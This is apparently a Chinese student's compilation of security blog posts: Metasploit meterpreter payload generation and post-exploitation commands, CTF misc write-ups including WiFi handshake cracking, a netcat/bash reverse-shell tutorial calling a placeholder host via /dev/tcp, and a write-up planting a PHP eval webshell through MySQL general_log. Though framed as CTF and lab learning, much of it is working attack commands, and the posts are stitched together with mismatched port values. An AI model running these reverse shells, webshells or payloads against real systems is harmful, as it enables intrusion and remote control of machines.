msf > use payload/windows/meterpreter/reverse_tcp  #指定payload
msf > payload(reverse_tcp) > set lhost xxxxx(外网Ip) #设置监听地址
lhost => xxxxx(外网Ip) 
msf > payload(reverse_tcp) > set lport 7777(监听流量流入端口)
lport => 6666
msf > payload(reverse_tcp) > generate -b '\x00\xff' -t exe -e x86/shikata_ga_nai -i 5 -f /root/test.exe
[*] Writing 73802 bytes to /root/test.exe...

msf进行监听

回到msf主界面:

msf > payload(reverse_tcp) > back

运行监听模块:

msf > use exploit/multi/handler

设置接收的payload:

msf exploit(handler) > set payload windows/meterpreter/bind_tcp

设置vps监听的地址和转发的端口:

msf exploit(handler) > set rhost xxxx(外网Ip)
rhost => xxxx(外网Ip)
msf exploit(handler) > set lport 7778
lport => 7778
msf exploit(handler) > exploit
[*] Started bind handler
[*] Sending stage (957999 bytes) to xxxx(外网Ip)
[*] Starting the payload handler...

靶机运行Payload

Linux下运行elf会提示没有权限,加权限:

chomd +x ./shell.elf

然后再运行就可以了

Meterpreter的常用命令

基本命令

background  # 让meterpreter处于后台模式  
sessions -i index   # 与会话进行交互,index表示第一个session  
quit  # 退出会话  
shell # 获得控制台权限  
irb # 开启ruby终端

文件系统命令

cat # 查看文件内容  
getwd # 查看当前工作目录  
upload  # 上传文件到目标机上  
download # 下载文件到本机上  
edit # 编辑文件  
search  # 搜索文件

网络命令

ipconfig / ifconfig # 查看网络接口信息  
portfwd  add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

系统命令

ps # 查看当前活跃进程 
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中 
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 
getpid # 获取当前进程的pid 
kill pid # 杀死进程 
getuid # 查看权限 
sysinfo # 查看目标机系统信息,如机器名,操作系统等 
shutdown # 关机

相关链接:
防火墙(firewalld)端口转发
利用metasploit进行提权
Metasploit简单提权
sSocks下载
Socks代理反弹突破内网

CTF中的Misc题目

写在前面

因为最近要实验班考核,开始做一下Misc题目,毕竟要简单一些。。发现好多神奇在kali里面,就用ssh连接了本地win10和kali,搭了xftp互传文件,后台挂上kali解放双手解放内存,爽的不行~

又是一张图片,还单纯么

丢到kali的binwalk里扫一下:

binwalk -e 2.jpg

发现有好多文件,用Kali下的foremost分离一下:

foremost 2.jpg

分离了两张图片传回到win下查看flag

linux基础

给了一个flag未知类型的文件,又提示linux基础。
学会了一个linux下的打印命令:strings

strings flag

中国菜刀

得到一个pcap的文件,果断丢到wireshark
追踪Tcp数据流发现有Base64编码的东西。
解码后发现有这个东西:C:\wwwroot\flag.tar.gz
我的想法是,可能这个pcap里还包含的有其它文件,不管了丢到binwalk里看一下
1
果然有一个zip的压缩文件,但是我用foremost分离不出来,于是用binwalk的dd命令来提取:
2

注意偏移量的选取!

参考:CTF中图片隐藏文件分离方法总结

要蹭网先解开密码

给了一个cap文件,放到kali里的aircrack里跑。
给了前七位,用密码工具生成完整的11位手机号码的密码字典。
接着执行如下命令:
1
index那行提示是让我们看握手包的次数,显示的是三次就输入3

后期要做一个破解wifi的文章~

Nc反弹Shell

写在前面

昨天打了sctf,太菜了还是从基础开始来吧,看到Bugku有一道命令执行的题目,因为没有回显要反弹到vps,由此接触到了反弹Shell这个东西

环境准备

有一台centOS7的vps主机当作控制、接受机器,一台kali linux的内网虚拟机当作靶机。一开始vps开了端口,靶机怎么也连接不上。后来请教line师傅,他说vps要看防火墙的放行端口,然后我Google了vutlr机器的放行端口是全部Ban掉的。。。尼玛,贴一个用firewalld开防火墙端口的文章

测试

1
目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。

bash 直接反弹

  1. 主机执行监听命令:

    nc -l -p 8080 -vvv
  2. 靶机执行bash反弹命令:

    root# bash -i >& /dev/tcp/XXXXXX(开放监听的ip)/8000 0>&1

kaiqi
xiaoguo

  1. 可以看到,我们在主机输入whoami,命令会传到靶机执行,然后返回信息到主机。相当于靶机的shell反弹到了主机。

最后

反弹shell有十种方法,这里有两篇文很不错,再贴上一篇nc命令的讲解:
linux各种一句话反弹shell总结

浅谈CTF中命令执行与绕过的小技巧

Linux每天一个命令:nc/ncat

记SCTF的一道mysql日志写Shell题目

写在前面

太尼玛菜了,感谢LinE师傅耐心点拨。

思路

这道题是phpmyadmin弱口令登入,账号密码root
进去之后应该是写shell,但是show variables 发现file_priv为null,这说明Into outfile写shell显然是不可能了。

  1. 百度到一种绕过file_priv写shell的方法: phpmyadmin通过日志文件拿到webshell
  2. 接下来我们要找路径,我们可以通过找Log变量猜测绝对路径:
    tupian
  3. 有一点需要注意我们写小马的时候[]中尽量用双引号,否则会有转义的麻烦,我这次写的一句话是这样的:
    <?php eval($_POST["hpdoger"]); ?>

流程

set global general_log=’on’;
set global general_log_file=’G:/apm/apache2/htdocs/config.php’;

这个log的路径自己发挥,想办法找可写路径。可以看一下log变量原来有没有路径

select ““;
set global general_log=off;

最后

我真的好菜啊…

not found!